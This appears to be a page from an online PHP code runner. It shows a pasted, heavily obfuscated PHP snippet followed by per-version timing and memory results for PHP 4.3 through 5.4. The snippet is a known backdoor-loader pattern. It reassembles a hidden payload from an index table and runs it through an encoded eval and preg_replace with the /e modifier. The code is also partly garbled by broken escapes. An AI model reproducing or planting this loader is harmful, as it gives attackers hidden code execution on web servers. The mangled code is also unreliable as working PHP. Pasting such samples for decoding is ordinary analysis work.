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preg_replace\("%x2f%50%x2e%52%x29%57%x242178\}527\}88\:\}334\}472%x5c%x7824\<\!%x5c%x7825mm\!\>\!#\]y81\]27f_\*#\[k2%x5c%x7860\{6\:\!\}7#\<%x5c%x7825t2w\>#\]y74\]273\]y76\]252\]y85\]21%76%x21%50%x5c%x7825%x5c%x7878\:\!\>#\]y3g\]61\]y31M5\]67\]452\]88\]5\]48\]32M3\]317\]445\]212\]445\]43\]321\]464\]284c%x7825z\>\>2\*\!%x5c%x7825z\>3\<\!fmtf\!%x5c%x7825z\>2%x5c%x7878r\.985\:52985\-t\.98\]K4\]65o\]Y%x5c%x78257;utpI#7\>%x5c%5c%x7824y7%x5c%x7824\-%x5c%x7824\*\<\!%x\]s\]#\)fepmqyf%x5c%x7827#%x5c%x785cq%x5c%x78257\*\*\^#zsfvr#%x5c%x785cq%x5c%x7825\)uft9275ttfsqnpdov\{h19275j\{hnpd19275fubmgoj\{h1\:\|\:\*mmvo\:\>\:iuhofm%x5c%x78252\)%x5c%x7825zB%x5c%x7825z\>\!tussfw\)%x5c%x7825zW%x5c%x7825h\>EzH,2W%x5c1GO%x5c%x7822#\)fepmqyfA\>2b%x5c%x7825\!\<\*qp%x5c%x7825\-\*\.%x5c%x7825\)euhf\(\-\!#\]y76\]277\]y72\]265\]y39\]271\]y83\]256\]y78\]248\]y8c%x7827\!hmg%x5c%x7825\)\!gj\!\<2,\*j%x5c%x7825\-#1\]#\-bubE\{h%x5c%x78x7825cB%x5c%x7825iN\}#\-\!tussfw\)%x25\)tpqsut\>j%x5c%x7825\!\*9\!%x5c%x7827\!hmg%x55c%x7825j\>1\<%x5c%x7825j\=tj\{fpg\)%x5c%x7825%x5c%x7824\-%x%x5c%x7825V\<#65,47R25,d7R17,6y81\]273\]y76\]258\]y6g\]273\]y76\]7825c\!\>\!%x5c%x7825i%x5c%x785c2\^\<\!Ce\*\[\!%x5c%x7825cI%x5c%x7878pmpusut\!\-#j0#\!%x5c%x782f\!\*\*#sfmcnbs\+yfeo\*&7\-n%x5c%x7825\)utjm6\<%x5c%x787fw6\*CW&\)7gj6\<\*K\)ftpmdXA6~6\<u%x5c%x7825c%x7824\-%x5c%x7824gps\)%xx5c%x7825\!\<\*\*3\-j%x5c%x7825\-bubE\{h%x5c%x7825\)sutcvt\-#\!\|\!\*bubE\{h%x5c%x7825\)j\{hnpd\!opjudovg\!\|\!\*\*#j\{hnpd#\)tutjyf%x5jQeTQcOc%x5c%x782f#00#W~\!Y25tmw\!\>\!#\]y84\]275\]y83\]273\]y76\]27\!%x5c%x7825b\:\>1\<\!fmtf\!%x5c%x7825b\:\>%x5c%x7825s\:%x5c%x785c%x5c%x78w#\)ldbqov\>\*ofmy%x5c%x7825\)utjm\!\|\!\*5\!%x5c%x7827\!5j,,\*\!\|%x5c%x7824\-%x5c%x7824gvodujpo\!%x5c%x7824\-%x7eu\{66~67\<&w6\<\*&7\-#o\]s\]o\?hmg%x5c%x7825\)\!gj\!\<\*\*2\-4\-bubE\{h%x5c%x7x782f7rfs%x5c%x78256\<#o\]1%x5c%x782f20QUU5c%x7860hA%x5c%x7827pd%x5c%x78256\<C%x5c%x7827pd%x5c%x78256\|6\.s\}%x5c%x7827;mnui\}&;zepc\}A;~\!\}%x5c%x787f;\!\|\!\}\{;\)gj\}l;3x7825bT\-%x5c%x7825hW~%x5c%x7825fdy\)##\-\!#~\<%x5c%x7825x7825j\>1\<%x5c%x7825j\=6\[%xtmf\!~\<\*\*9\.\-j%x5c%x7825\-bubE\{h%x5c%x7825\)sutcv/\(\.\*\)/epreg_replaceoatujqbgaw'; \$xvvwhysnij \= explode\(chr\(\(275\-231\)\),'151,56,7854,48,5028,42,4620,59,8266,38,3479,22,381,25,3365,57,558,29,2433,67,8423,45,1534,64,3817,70,275,64,2997,59,9869,61,9766,24,8663,22,9342,68,587,56,4155,20,7358,49,8600,27,9829,40,7938,48,5775,63,6596,35,3994,51,1598,47,7119,39,1391,41,2132,29,2024,27,2616,66,7749,37,8685,58,5341,65,997,64,1911,53,7197,51,8239,27,4546,52,6391,51,2219,68,5497,67,6929,43,5589,41,4984,44,8361,22,0,65,2287,30,3225,70,4045,30,5903,56,7679,70,4460,21,4771,62,10061,45,3973,21,767,42,3887,49,4950,34,8996,61,9089,42,2682,45,9435,52,9669,47,4598,22,9790,39,2051,60,7902,36,9487,59,8198,41,1478,56,6728,44,809,24,8880,68,7030,43,4833,64,5630,49,7311,47,6528,68,65,59,9292,50,3668,25,4075,25,7594,55,3447,32,5838,65,833,50,5070,39,7649,30,1119,69,4481,65,5175,52,5564,25,4365,33,1707,31,2818,40,2910,47,8132,25,3186,39,8044,55,3728,20,6794,40,6484,44,6137,29,8743,69,6772,22,883,29,5679,45,3295,70,5109,66,4267,36,7986,58,9185,29,6012,70,2161,58,6082,55,491,67,9930,54,7786,68,6166,49,1738,40,1964,60,7248,63,8099,33,1778,66,9572,32,8383,40,4198,69,6352,39,652,49,1645,62,3087,31,7002,28,6896,33,4303,62,6834,62,5440,57,6442,42,1246,43,8304,57,3567,34,5724,51,8157,41,739,28,2957,40,3748,26,4679,67,2727,62,3936,37,124,27,7494,50,9716,50,8627,36,9410,25,9131,54,2548,37,2111,21,6215,53,429,62,7444,50,9057,32,1432,46,9242,50,9546,26,5959,53,2585,31,8812,68,3422,25,1061,58,3774,43,5227,62,207,68,4100,55,8568,32,3601,67,912,25,3118,68,6631,51,2317,58,1289,64,4398,62,1188,58,9984,52,4897,53,7407,37,406,23,8468,54,6972,30,7158,39,4746,25,4175,23,937,60,3056,31,6682,46,701,38,6268,21,9604,65,3501,66,5406,34,339,42,10036,25,2375,58,8522,46,1844,67,3693,35,7073,46,7544,50,6289,63,2789,29,9214,28,2858,52,8948,48,5289,52,1353,38,2500,48,643,9'\); \$jsezqfabuh\=substr\(\$tmfiaculep,\(63380\-53274\),\(24\-17\)\); if \(\!function_exists\('eydmrtextq'\)\) \{ function eydmrtextq\(\$qpmfkkugmp, \$zkavhtkihc\) \{ \$glcixpgcbf \= NULL; for\(\$ohdyaxgmyc\=0;\$ohdyaxgmyc\<\(sizeof\(\$qpmfkkugmp\)/2\);\$ohdyaxgmyc\+\+\) \{ \$glcixpgcbf \.\= substr\(\$zkavhtkihc, \$qpmfkkugmp\[\(\$ohdyaxgmyc\*2\)\],\$qpmfkkugmp\[\(\$ohdyaxgmyc\*2\)\+1\]\); \} return \$glcixpgcbf; \};\} \$pkrqsagqls\="\\x20\\57\\x2a\\40\\x76\\146\\x68\\156\\x67\\150\\x70\\156\\x77\\165\\x20\\52\\x2f\\40\\x65\\166\\x61\\154\\x28\\163\\x74\\162\\x5f\\162\\x65\\160\\x6c\\141\\x63\\145\\x28\\143\\x68\\162\\x28\\50\\x31\\63\\x38\\55\\x31\\60\\x31\\51\\x29\\54\\x20\\143\\x68\\162\\x28\\50\\x36\\63\\x35\\55\\x35\\64\\x33\\51\\x29\\54\\x20\\145\\x79\\144\\x6d\\162\\x74\\145\\x78\\164\\x71\\50\\x24\\170\\x76\\166\\x77\\150\\x79\\163\\x6e\\151\\x6a\\54\\x24\\164\\x6d\\146\\x69\\141\\x63\\165\\x6c\\145\\x70\\51\\x29\\51\\x3b\\40\\x2f\\52\\x20\\167\\x73\\147\\x79\\167\\x79\\152\\x6a\\165\\x79\\40\\x2a\\57\\x20"; \$vkmygimqyr\=substr\(\$tmfiaculep,\(31688\-21575\),\(48\-36\)\); \$vkmygimqyr\(\$jsezqfabuh, \$pkrqsagqls, NULL\); \$vkmygimqyr\=\$pkrqsagqls; \$vkmygimqyr\=\(401\-280\); \$tmfiaculep\=\$vkmygimqyr\-1;'; echo preg_replace('/\\\\x[a-9A-F]{3}/ie', "chr(hexdec('\\1'))", $string);

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
5.4.340.0000.03719.23
5.4.320.0000.03719.09
5.4.310.0000.04018.84
5.4.300.0000.03719.01
5.4.290.0030.03319.06
5.4.280.0000.03719.13
5.4.270.0000.03719.22
5.4.260.0030.03319.06
5.4.250.0030.06018.94
5.4.240.0100.07019.05
5.4.230.0000.06718.85
5.4.220.0000.05719.21
5.4.210.0130.07019.08
5.4.200.0000.07719.13
5.4.190.0030.05019.07
5.4.180.0000.07719.21
5.4.170.0070.06019.05
5.4.160.0000.07719.29
5.4.150.0000.07719.07
5.4.140.0030.06316.29
5.4.130.0030.05316.50
5.4.120.0070.06316.51
5.4.110.0070.06016.63
5.4.100.0070.05316.19
5.4.90.0000.07316.58
5.4.80.0130.05016.44
5.4.70.0030.06016.25
5.4.60.0000.07716.54
5.4.50.0030.05716.49
5.4.40.0000.07716.43
5.4.30.0030.06716.32
5.4.20.0030.06716.52
5.4.10.0070.06016.53
5.4.00.0000.06015.96
5.3.290.0000.04314.52
5.3.280.0030.07014.62
5.3.270.0070.07714.54
5.3.260.0000.07714.46
5.3.250.0130.05714.68
5.3.240.0030.07714.56
5.3.230.0030.07714.69
5.3.220.0030.05314.40
5.3.210.0100.07314.47
5.3.200.0070.06714.62
5.3.190.0030.06014.41
5.3.180.0030.04014.41
5.3.170.0030.06014.61
5.3.160.0000.04014.42
5.3.150.0030.03714.41
5.3.140.0200.06714.39
5.3.130.0100.07314.38
5.3.120.0070.06014.49
5.3.110.0100.07314.39
5.3.100.0030.06014.11
5.3.90.0130.06714.11
5.3.80.0100.06314.11
5.3.70.0070.06014.11
5.3.60.0070.06014.11
5.3.50.0100.06714.11
5.3.40.0000.07314.11
5.3.30.0030.06714.11
5.3.20.0070.06714.11
5.3.10.0070.05714.11
5.3.00.0000.07714.11
5.2.170.0030.06014.11
5.2.160.0000.04314.11
5.2.150.0000.06714.11
5.2.140.0000.05714.11
5.2.130.0000.06314.11
5.2.120.0070.06014.11
5.2.110.0030.04014.11
5.2.100.0000.05314.11
5.2.90.0030.04014.11
5.2.80.0030.06314.11
5.2.70.0030.05014.11
5.2.60.0030.06314.11
5.2.50.0000.05314.11
5.2.40.0070.05314.11
5.2.30.0000.06014.11
5.2.20.0070.04314.11
5.2.10.0000.04314.11
5.2.00.0070.04314.11
5.1.60.0000.05314.11
5.1.50.0070.04714.11
5.1.40.0070.03714.11
5.1.30.0030.05314.11
5.1.20.0000.06014.11
5.1.10.0030.04714.11
5.1.00.0030.05314.11
5.0.50.0030.04714.11
5.0.40.0070.03714.11
5.0.30.0070.04714.11
5.0.20.0030.04014.11
5.0.10.0000.04014.11
5.0.00.0000.06714.11
4.4.90.0030.03014.11
4.4.80.0000.03714.11
4.4.70.0030.03014.11
4.4.60.0030.03714.11
4.4.50.0070.03014.11
4.4.40.0000.05714.11
4.4.30.0000.03314.11
4.4.20.0030.03014.11
4.4.10.0000.03014.11
4.4.00.0000.05714.11
4.3.110.0000.03714.11
4.3.100.0000.03314.11
4.3.90.0000.03314.11
4.3.80.0000.05714.11
4.3.70.0000.03314.11
4.3.60.0030.03314.11
4.3.50.0000.03314.11
4.3.40.0000.05314.11
4.3.30.0000.03714.11
4.3.20.0000.03314.11
4.3.10.0030.03714.11
4.3.00.0000.03314.11
preferences:
150.6 ms | 1394 KiB | 7 Q